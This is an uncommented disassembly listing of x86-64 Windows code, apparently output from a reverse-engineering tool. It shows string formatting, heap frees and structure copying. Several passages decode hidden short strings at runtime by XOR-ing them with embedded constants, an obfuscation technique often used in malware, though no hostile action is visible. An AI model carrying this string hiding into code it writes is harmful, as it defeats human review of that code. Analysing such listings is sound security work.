mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], rcx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x1e0], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x488]
mov qword [rsp + 0x1f0], rax
lea rax, [0x140065eb5]
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x428]
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0x470]
mov qword [rsp + 0x210], rcx
mov qword [rsp + 0x218], rax
lea rax, [rsp + 0x424]
mov qword [rsp + 0x220], rax
lea rax, [fcn.14009fca0]
mov qword [rsp + 0x228], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x230], rax
lea rax, [0x140066290]
mov qword [rsp + 0x238], rax
lea rax, [0x140343930]
mov qword [rsp + 0x2b0], rax
mov eax, 6
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2c0], r14
mov qword [rsp + 0x2c8], rax
lea rcx, [rsp + 0x4a8]
lea rdx, [rsp + 0x2b0]
call fcn.140061c40
cmp qword [rsp + 0x268], 0
je 0x140045540
mov r8, qword [rsp + 0x270]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x4b0]
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x438]
mov rdx, rsi
mov r8, rdi
mov r9, r14
call fcn.1401bac70
cmp qword [rsp + 0x4a8], 0
je 0x140045588
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r14
call qword [0x14033d4d0]
cmp qword [rsp + 0x438], 0
je 0x1400455a0
lea rcx, [rsp + 0x440]
call fcn.1401c3218
test r12, r12
mov r14, rbp
je 0x1400455ba
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
lea r12, [rsp + 0x40]
mov rsi, rbx
jmp 0x14004535c
mov rcx, rsi
call fcn.14001dd0f
mov rcx, qword [rsp + 0x30]
lea eax, [rcx - 1]
and eax, ecx
mov rcx, qword [rsp + 0x1c0]
dec rcx
mov r14, rbp
jne 0x140044fd0
inc dword [rsp + 0x424]
mov r15, qword [rsp + 0xc8]
mov r13, qword [rsp + 0x1b0]
lea rbp, [rsp + 0x298]
cmp qword [rsp + 0x290], 0
je 0x14004562e
mov r8, qword [rsp + 0x298]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
cmp r15, r13
jne 0x140044ef7
lea rcx, [rsp + 0x390]
call fcn.140020f82
lea r15, [rsp + 0xd0]
mov rcx, r15
call fcn.140066042
mov rcx, qword [r15]
mov rax, qword [r15 + 8]
mov rdx, qword [r15 + 0x10]
lea r8, [rdx + rdx*2]
lea r8, [rax + r8*8]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x2a0], rcx
mov qword [rsp + 0x2a8], r8
test rdx, rdx
mov rbp, qword [rsp + 0x1d0]
je 0x140047cab
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x468], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x478], rcx
lea rcx, [rbp + 0x60]
mov qword [rsp + 0x418], rcx
xorps xmm6, xmm6
lea rcx, [rax + 0x18]
mov qword [rsp + 0x298], rcx
mov r14, qword [rax]
movabs rcx, 0x8000000000000000
cmp r14, rcx
je 0x140047cab
mov rcx, qword [rax + 8]
mov qword [rsp + 0x30], rcx
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xc8], rax
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0xa0]
mov qword [rbp + 0xa0], 0
test rdi, rdi
je 0x140045728
mov rcx, rsi
call fcn.14001e89f
add rsi, 0x30
dec rdi
jne 0x140045717
mov rcx, r12
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
mov rcx, r15
mov rdx, rbp
mov r8, r12
call fcn.14003f56b
mov al, byte [rsp + 0xd0]
cmp al, 0x1a
jne 0x140047de4
mov qword [rsp + 0x328], r14
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1b0], rax
mov rdi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
lea rcx, [rax + rax*8]
lea rsi, [rdi + rcx*8]
mov qword [rsp + 0x280], rsi
lea rcx, [rsp + 0x450]
mov qword [rsp + 0x288], rcx
mov rcx, rdi
mov r15, rdi
mov rbx, rdi
test rax, rax
je 0x140045abf
lea r15, [rdi + 0x48]
mov rbx, rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x1c0], rsi
mov rax, qword [r15 - 0x48]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140045aaf
lea rbp, [r15 - 0x48]
movdqu xmm0, xmmword [rbp + 8]
movups xmm1, xmmword [rbp + 0x18]
movups xmm2, xmmword [rbp + 0x28]
movups xmm3, xmmword [rbp + 0x38]
lea rcx, [rsp + 0xe8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0x120], 0
je 0x14004599c
cmp qword [rsp + 0xf0], 0
je 0x14004599c
mov ecx, 9
lea rdi, [rsp + 0x2b0]
lea rsi, [rsp + 0xe0]
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
mov rcx, r12
call fcn.1400629e0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x58]
call fcn.1400629e0
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
call fcn.1401e779c
mov r14, rax
mov r12, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140330ef0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r12
lea r12, [rsp + 0x40]
mov qword [rsp + 0x80], rdi
lea r13, [rsp + 0x1e0]
mov rcx, r13
mov rdx, r12
xor r8d, r8d
call fcn.140049909
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x1e0], rax
jne 0x1400459ae
mov rdx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
mov rcx, r12
call fcn.1400629e0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x58]
call fcn.1400629e0
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
call fcn.1401e779c
mov r14, rax
mov r12, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140330ef0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r12
lea r12, [rsp + 0x40]
mov qword [rsp + 0x80], rdi
mov r8, qword [rsp + 0x458]
mov r9, qword [rsp + 0x460]
lea rcx, [rsp + 0x390]
mov rdx, r12
call fcn.140049909
mov rcx, r13
call fcn.14001c972
jmp 0x1400459c1
lea rcx, [rsp + 0xe0]
call fcn.14002069a
jmp 0x140045a9b
mov ecx, 9
lea rdi, [rsp + 0x390]
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x2b0]
call fcn.14002069a
mov rax, qword [rsp + 0x390]
lea rcx, [rsp + 0x398]
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movdqa xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x200], xmm2
movaps xmmword [rsp + 0x210], xmm3
movabs rcx, 0x8000000000000000
cmp rax, rcx
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x1c0]
jne 0x140045a3a
lea rcx, [rsp + 0x390]
call fcn.14001c972
jmp 0x140045a9b
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmm3, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov qword [rbx], rax
movdqa xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
movdqu xmmword [rbx + 8], xmm0
movups xmmword [rbx + 0x18], xmm1
movups xmmword [rbx + 0x28], xmm2
movups xmmword [rbx + 0x38], xmm3
add rbx, 0x48
add r15, 0x48
add rbp, 0x48
cmp rbp, rsi
jne 0x1400457c8
mov r15, rsi
mov rbp, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x280]
mov rax, rcx
sub rax, r15
movabs rdx, 0xe38e38e38e38e38f
mul rdx
mov qword [rsp + 0x278], 0
mov eax, 8
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x280], rax
cmp rcx, r15
je 0x140045b18
mov rsi, rdx
shr rsi, 6
mov rcx, r15
call fcn.14002069a
add r15, 0x48
dec rsi
jne 0x140045b07
sub rbx, rdi
mov rax, rbx
movabs r8, 0xe38e38e38e38e38f
mul r8
mov rcx, rdx
shr rcx, 6
mov rax, qword [rsp + 0x1b0]
shl rax, 3
lea rax, [rax + rax*8]
mul r8
shr rdx, 6
mov qword [rsp + 0x400], rdx
mov qword [rsp + 0x408], rdi
mov qword [rsp + 0x410], rcx
lea rcx, [rsp + 0x268]
call fcn.14001b415
mov rcx, r12
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
lea rcx, [rsp + 0xd0]
mov rdx, rbp
mov r8, r12
call fcn.14003ffd0
mov al, byte [rsp + 0xd0]
cmp al, 0x1a
jne 0x140047e4f
mov r14, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
lea r12, [rax + rax*2]
shl r12, 4
add r12, rsi
mov rdi, rsi
mov r15, rsi
test rax, rax
lea r13, [0x140030f70]
je 0x140045c99
lea rdi, [rsi + 0x30]
mov r15, rsi
mov rax, qword [rdi - 0x30]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140045c99
lea rbx, [rdi - 0x30]
mov rcx, qword [rbx + 0x28]
lea rdx, [rsp + 0xe8]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rbx + 8]
movups xmm1, xmmword [rbx + 0x18]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xf0], 0
je 0x140045c78
cmp qword [rsp + 0x108], 0
je 0x140045c78
lea rax, [rsp + 0xe0]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
add r15, 0x30
jmp 0x140045c85
lea rcx, [rsp + 0xe0]
call fcn.14001e89f
add rdi, 0x30
add rbx, 0x30
cmp rbx, r12
jne 0x140045be5
mov rdi, r12
mov rax, r12
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov qword [rsp + 0xe0], 0
mov eax, 8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
cmp r12, rdi
je 0x140045cf2
mov rbx, rdx
shr rbx, 5
mov rcx, rdi
call fcn.14001e89f
add rdi, 0x30
dec rbx
jne 0x140045ce1
mov rax, r15
sub rax, rsi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rdi, rdx
shr rdi, 5
shl r14, 4
lea rax, [r14 + r14*2]
mul rcx
shr rdx, 5
mov qword [rsp + 0x438], rdx
mov qword [rsp + 0x440], rsi
mov qword [rsp + 0x448], rdi
lea rcx, [rsp + 0xd0]
call fcn.14001af48
cmp r15, rsi
lea r12, [rsp + 0x40]
je 0x140045f4e
mov rcx, rdi
call fcn.140073266
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], rdx
mov qword [rsp + 0x2c0], 0
cmp rax, rdi
jb 0x14004793c
xor ecx, ecx
lea rax, [rcx + rcx*2]
lea r14, [rdx + rax*8]
add rcx, rdi
mov qword [rsp + 0x38], rcx
mov ebx, 2
lea r15, [0x1403b7448]
lea rbp, [rsp + 0xd0]
lea r12, [rsp + 0x40]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r13
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], rbx
lea rcx, [rsp + 0x1e0]
mov rdx, rbp
call fcn.140061c40
mov rax, qword [rsp + 0x1f0]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [r14], xmm0
add r14, 0x18
add rsi, 0x30
dec rdi
jne 0x140045da6
mov rsi, qword [rsp + 0x2b8]
mov rdi, qword [rsp + 0x2b0]
lea rcx, [rsp + 0x268]
mov rdx, rsi
mov rbx, qword [rsp + 0x38]
mov r8, rbx
mov r9b, 0xa
call fcn.140065ecb
mov rcx, rsi
mov rdx, rbx
call fcn.14006da82
test rdi, rdi
je 0x140045e6e
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x390]
call fcn.1400629e0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
mov rsi, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], 1
lea r15, [rsp + 0xd0]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], rdi
mov word [rsp + 0x148], 1
xor r14d, r14d
mov rbp, qword [rsp + 0x1d0]
mov rbx, qword [rsp + 0x118]
mov rcx, r12
mov rdx, r15
call fcn.1400335f6
cmp qword [rsp + 0x40], 0
je 0x140045f64
mov rdi, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x138]
add rbx, rcx
sub rdi, rcx
mov qword [rsp + 0x138], rax
cmp byte [rsp + 0x149], 0
mov r14, rbx
je 0x140045f04
jmp 0x140045fb7
mov rdx, qword [rbp + 0xa0]
xor edi, edi
lea r15, [rsp + 0xd0]
jmp 0x14004631f
cmp byte [rsp + 0x149], 0
je 0x140045f78
test r14, r14
jne 0x140045fba
jmp 0x1400498e4
cmp byte [rsp + 0x148], 0
je 0x140045f94
mov rbx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
jmp 0x140045fa9
mov rbx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
cmp rax, rbx
je 0x140045f6e
sub rax, rbx
add rbx, qword [rsp + 0x118]
mov rdi, rax
mov r14, rbx
mov qword [rsp + 0x330], r14
mov qword [rsp + 0x338], rdi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x330]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
lea rax, [0x1403bf7c0]
mov qword [rsp + 0xd0], rax
mov eax, 2
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x2b0]
mov rdx, r15
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x14004605a
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rdi, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, rsi
call fcn.140061f90
lea rax, [0x14033716b]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xbe1ad120034ef740
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.1400321d7
mov rax, qword [rax]
movabs rcx, 0xab43e6a703f6c384
xor rax, rcx
mov qword [rsp + 0x428], rax
lea rax, [rsp + 0x428]
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 8
lea rax, [rsp + 0x390]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x330]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r13
mov ecx, 2
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xf0], 0
mov edx, 0x20
mov qword [rsp + 0xf8], rdx
mov al, 3
mov byte [rsp + 0x100], al
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x118], rcx
mov r8d, 1
mov qword [rsp + 0x128], r8
mov qword [rsp + 0x130], rdx
mov byte [rsp + 0x138], al
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], rdx
mov byte [rsp + 0x170], al
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x198], r8
mov qword [rsp + 0x1a0], rdx
mov byte [rsp + 0x1a8], al
lea rax, [0x140343670]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
mov qword [rsp + 0x200], r15
mov qword [rsp + 0x208], 4
mov qword [rsp + 0x1f0], r12
mov qword [rsp + 0x1f8], 3
lea rcx, [rsp + 0x4f0]
lea rdx, [rsp + 0x1e0]
call fcn.140061c40
cmp qword [rsp + 0x2b0], 0
je 0x140046250
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
test rdi, rdi
je 0x140046267
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x390], 0
je 0x140046289
mov r8, qword [rsp + 0x398]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rcx, [rsp + 0x4f0]
call fcn.140019aab
mov rdi, rdx
test rax, rax
jne 0x1400497a5
mov rsi, qword [rsp + 0x270]
mov r9, qword [rsp + 0x278]
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call fcn.14019c3f0
cmp qword [rsp + 0xd0], 0
jne 0x1400497bc
mov rcx, rdi
call qword [0x14033d488]
cmp qword [rsp + 0x268], 0
je 0x1400462f5
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rsi, qword [rsp + 0x440]
mov rdi, qword [rsp + 0x448]
mov rax, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
sub rax, rdx
cmp rax, rdi
jb 0x14004798a
lea rcx, [rdx + rdx*2]
shl rcx, 4
add rcx, qword [rbp + 0x98]
mov rax, rdi
shl rax, 4
lea r8, [rax + rax*2]
mov rdx, rsi
call fcn.140330ef0
add qword [rbp + 0xa0], rdi
mov qword [rsp + 0x448], 0
mov rsi, qword [rsp + 0x408]
mov rdi, qword [rsp + 0x410]
test rdi, rdi
je 0x140046593
mov rcx, rdi
call fcn.140073266
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], rdx
mov qword [rsp + 0x2c0], 0
cmp rax, rdi
jb 0x140047963
xor ecx, ecx
lea rax, [rcx + rcx*2]
lea r14, [rdx + rax*8]
add rcx, rdi
mov qword [rsp + 0x38], rcx
mov ebp, 3
lea r15, [rsp + 0x1e0]
lea r12, [rsp + 0xd0]
lea rbx, [rsp + 0x40]
lea r13, [0x140030f70]
lea rax, [rsi + 0x18]
lea rcx, [rsi + 0x30]
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf8], r13
lea rax, [0x140343c00]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbp
mov rcx, r15
mov rdx, rbx
call fcn.140061c40
mov rax, qword [rsp + 0x1f0]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [r14], xmm0
add r14, 0x18
add rsi, 0x48
dec rdi
jne 0x1400463cd
mov rsi, qword [rsp + 0x2b8]
mov rdi, qword [rsp + 0x2b0]
lea rcx, [rsp + 0x330]
mov rdx, rsi
mov rbx, qword [rsp + 0x38]
mov r8, rbx
mov r9b, 0xa
call fcn.140065ecb
mov rcx, rsi
mov rdx, rbx
call fcn.14006da82
test rdi, rdi
je 0x1400464ac
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x390]
call fcn.1400629e0
lea rbp, [rsp + 0x1e0]
mov rcx, rbp
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
mov rsi, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], 1
lea r15, [rsp + 0xd0]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], rdi
mov word [rsp + 0x148], 1
xor r14d, r14d
lea r12, [rsp + 0x40]
lea r13, [0x140030f70]
mov rbx, qword [rsp + 0x118]
mov rcx, r12
mov rdx, r15
call fcn.1400335f6
cmp qword [rsp + 0x40], 0
je 0x14004659e
mov rdi, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x138]
add rbx, rcx
sub rdi, rcx
mov qword [rsp + 0x138], rax
cmp byte [rsp + 0x149], 0
mov r14, rbx
je 0x140046549
jmp 0x1400465f1
mov rdx, qword [rbp + 0x58]
xor edi, edi
jmp 0x140046e46
cmp byte [rsp + 0x149], 0
je 0x1400465b2
test r14, r14
jne 0x1400465f4
jmp 0x1400498f0
cmp byte [rsp + 0x148], 0
je 0x1400465ce
mov rbx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
jmp 0x1400465e3
mov rbx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
cmp rax, rbx
je 0x1400465a8
sub rax, rbx
add rbx, qword [rsp + 0x118]
mov rdi, rax
mov r14, rbx
mov qword [rsp + 0x268], r14
mov qword [rsp + 0x270], rdi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x268]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
lea rax, [0x1403bf7c0]
mov qword [rsp + 0xd0], rax
mov eax, 2
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x2b0]
mov rdx, r15
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x140046694
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rdi, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, rsi
call fcn.140061f90
lea rax, [0x14033d751]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x247fda04260d8472
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140032847
mov rcx, qword [rax]
mov al, byte [rax + 8]
movabs rdx, 0xfe41f8962476660d
xor rcx, rdx
mov qword [rsp + 0x428], rcx
xor al, 0xdf
mov byte [rsp + 0x430], al
lea rax, [rsp + 0x428]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], 9
lea rax, [rsp + 0x390]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x268]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r13
mov ecx, 2
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xf0], 0
mov edx, 0x20
mov qword [rsp + 0xf8], rdx
mov al, 3
mov byte [rsp + 0x100], al
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x118], rcx
mov r8d, 1
mov qword [rsp + 0x128], r8
mov qword [rsp + 0x130], rdx
mov byte [rsp + 0x138], al
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], rdx
mov byte [rsp + 0x170], al
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x198], r8
mov qword [rsp + 0x1a0], rdx
mov byte [rsp + 0x1a8], al
lea rax, [0x140343670]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
mov qword [rsp + 0x200], r15
mov qword [rsp + 0x208], 4
mov qword [rsp + 0x1f0], r12
mov qword [rsp + 0x1f8], 3
lea rcx, [rsp + 0x508]
mov rdx, rbp
call fcn.140061c40
cmp qword [rsp + 0x2b0], 0
je 0x140046891
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
test rdi, rdi
je 0x1400468a8
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x390], 0
mov edi, 2
je 0x1400468cf
mov r8, qword [rsp + 0x398]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rcx, [rsp + 0x508]
call fcn.140019aab
mov rsi, rdx
test rax, rax
jne 0x1400497d8
mov r8, qword [rsp + 0x338]
mov r9, qword [rsp + 0x340]
mov rcx, r15
mov rdx, rsi
call fcn.14019c3f0
cmp qword [rsp + 0xd0], 0
jne 0x1400497ef
mov rcx, rsi
call qword [0x14033d488]
lea rax, [0x14033dc29]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xb565507d7af6a531
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140031fef
mov rcx, qword [rax]
movabs rdx, 0xc12c3b66b158166c
xor rcx, rdx
mov edx, dword [rax + 8]
mov r8d, 0x8e5bd086
xor edx, r8d
mov al, byte [rax + 0xc]
xor al, 0xc3
mov qword [rsp + 0x390], rcx
mov dword [rsp + 0x398], edx
mov byte [rsp + 0x39c], al
lea rax, [rsp + 0x390]
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 0xd
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
lea rax, [0x1403431c8]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], rdi
mov rcx, rbp
mov rdx, r15
call fcn.140061c40
mov r14, qword [rsp + 0x1e0]
mov rbx, qword [rsp + 0x1e8]
mov rsi, r15
mov r15, qword [rsp + 0x1f0]
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.1401a6630
cmp dword [rsp + 0xd0], 2
mov qword [rsp + 0x38], r14
jne 0x140046a5d
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x140046a70
mov ecx, 9
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x40], 2
jne 0x140046ae1
lea rcx, [rsp + 0x48]
call fcn.1401c3218
mov dword [rsp + 0xd0], 0
lea rax, [rsp + 0xe0]
movups xmmword [rax - 8], xmm6
mov dword [rsp + 0xe8], 7
mov word [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov byte [rsp + 0xf1], 1
mov word [rsp + 0xf3], 0x101
mov rcx, rbx
mov rdx, r15
lea r8, [rsp + 0xd0]
call fcn.1401a3990
test rax, rax
jne 0x1400498cd
mov rcx, rdx
call qword [0x14033d488]
xor eax, eax
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], 1
mov qword [rsp + 0x278], rax
mov rdx, qword [rsp + 0x408]
mov r8, qword [rsp + 0x410]
lea rcx, [rsp + 0xd0]
